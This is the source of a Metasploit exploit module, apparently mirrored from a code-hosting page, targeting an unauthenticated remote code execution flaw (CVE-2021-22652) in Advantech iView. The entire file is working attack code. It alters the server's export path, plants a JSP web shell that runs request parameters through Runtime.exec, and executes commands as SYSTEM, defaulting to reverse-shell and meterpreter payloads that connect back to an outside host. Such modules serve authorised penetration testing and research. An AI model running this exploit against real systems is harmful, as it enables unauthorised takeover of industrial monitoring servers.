Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/http/advantech_iview_unauth_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::CmdStager12include Msf::Exploit::Powershell13include Msf::Exploit::FileDropper1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Advantech iView Unauthenticated Remote Code Execution',20'Description' => %q{21This module exploits an unauthenticated configuration change combined22with an unauthenticated file write primitive, leading to an arbitrary23file write that allows for remote code execution as the user running24iView, which is typically NT AUTHORITY\SYSTEM.2526This issue was demonstrated in the vulnerable version 5.7.02.5992 and27fixed in version 5.7.03.6112.28},29'Author' => [30'wvu', # Discovery and exploit31'Spencer McIntyre' # Check, docs, and testing32],33'References' => [34['CVE', '2021-22652'],35['URL', 'https://www.rapid7.com/blog/post/2021/02/11/cve-2021-22652-advantech-iview-missing-authentication-rce-fixed/'],36['URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-040-02']37],38'DisclosureDate' => '2021-02-09', # ICS-CERT advisory39'License' => MSF_LICENSE,40'Platform' => 'win',41'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],42'Privileged' => true,43'Targets' => [44[45'Windows Command',46{47'Arch' => ARCH_CMD,48'Type' => :win_cmd,49'DefaultOptions' => {50'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'51}52}53],54[55'Windows Dropper',56{57'Arch' => [ARCH_X86, ARCH_X64],58'Type' => :win_dropper,59'DefaultOptions' => {60'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,61'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'62}63}64],65[66'PowerShell Stager',67{68'Arch' => [ARCH_X86, ARCH_X64],69'Type' => :psh_stager,70'DefaultOptions' => {71'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'72}73}74]75],76'DefaultTarget' => 2,77'Notes' => {78'Stability' => [CRASH_SAFE],79'Reliability' => [REPEATABLE_SESSION],80'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]81}82)83)8485register_options([86Opt::RPORT(8080),87OptString.new('TARGETURI', [true, 'Application path', '/iView3'])88])89end9091def check92res = send_request_cgi(93'method' => 'POST',94'uri' => normalize_uri(target_uri.path, 'MenuServlet'),95'vars_post' => {96'page_action_type' => 'getMenuFragment',97'page' => 'version.frag'98}99)100return CheckCode::Unknown unless res&.code == 200101102version = res.get_html_document.xpath('string(//input[starts-with(@value, "Version")]/@value)')103return CheckCode::Unknown unless version =~ /Version (\d+\.\d+) \(Build ([\d.]+)\)/104105version = "#{Regexp.last_match(1)}.#{Regexp.last_match(2)}"106vprint_status("Identified the version as #{version}")107return CheckCode::Safe if Rex::Version.new(version) >= Rex::Version.new('5.7.03.6112')108109CheckCode::Appears110end111112def exploit113config = retrieve_config114updated = update_config(config)115write_jsp_stub116117print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")118119case target['Type']120when :win_cmd121execute_command(payload.encoded)122when :win_dropper123execute_cmdstager124when :psh_stager125execute_command(cmd_psh_payload(126payload.encoded,127payload.arch.first,128remove_comspec: true129))130end131ensure132restore_config(config) if config && updated133end134135def retrieve_config136print_status('Retrieving config')137138res = send_request_cgi(139'method' => 'POST',140'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),141'vars_post' => {142'page_action_type' => 'retrieveSystemSettings'143}144)145146unless res && res.code == 200 && (config = res.get_json_document.first)147fail_with(Failure::NotFound, 'Failed to retrieve config')148end149150print_good('Successfully retrieved config')151vprint_line(JSON.pretty_generate(config))152153config154end155156def update_config(config)157print_status('Updating config')158159config = config.dup160config['EXPORTPATH'] = 'webapps\\iView3\\'161162res = send_request_cgi(163'method' => 'POST',164'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),165'vars_post' => {166'page_action_type' => 'updateSystemSettings',167'json_obj' => config.to_json168}169)170171unless res && res.code == 200 && (config = res.get_json_document.first)172fail_with(Failure::NotFound, 'Failed to retrieve updated config')173end174175unless config['EXPORTPATH'] == 'webapps\\iView3\\'176fail_with(Failure::NotVulnerable, 'Failed to update config')177end178179print_good('Successfully updated config')180vprint_line(JSON.pretty_generate(config))181182true183end184185def write_jsp_stub186print_status('Writing JSP stub')187188res = send_request_cgi(189'method' => 'POST',190'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),191'vars_post' => {192'page_action_type' => 'exportInventoryTable',193'col_list' => "#{jsp_stub}-NULL",194'sortname' => 'NULL',195'sortorder' => '',196'filename' => jsp_filename197}198)199200unless res && res.code == 200201fail_with(Failure::NotVulnerable, 'Failed to write JSP stub')202end203204register_file_for_cleanup("webapps\\iView3\\#{jsp_filename}")205206print_good('Successfully wrote JSP stub')207end208209def execute_command(cmd, _opts = {})210cmd.prepend('cmd.exe /c ')211212print_status("Executing command: #{cmd}")213214res = send_request_cgi(215'method' => 'POST',216'uri' => normalize_uri(target_uri.path, jsp_filename),217'vars_post' => {218jsp_param => cmd219}220)221222unless res && res.code == 200223fail_with(Failure::PayloadFailed, 'Failed to execute command')224end225226print_good('Successfully executed command')227end228229def restore_config(config)230print_status('Restoring config')231232res = send_request_cgi(233'method' => 'POST',234'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),235'vars_post' => {236'page_action_type' => 'updateSystemSettings',237'json_obj' => config.to_json238}239)240241unless res && res.code == 200 && (config = res.get_json_document.first)242print_error('Failed to retrieve restored config')243return244end245246if config['EXPORTPATH'] == 'webapps\\iView3\\'247print_warning('Failed to restore config')248return249end250251print_good('Successfully restored config')252vprint_line(JSON.pretty_generate(config))253end254255def jsp_stub256%(<% Runtime.getRuntime().exec(request.getParameter("#{jsp_param}")); %>)257end258259def jsp_param260@jsp_param ||= rand_text_alphanumeric(8..42)261end262263def jsp_filename264@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"265end266267end268269270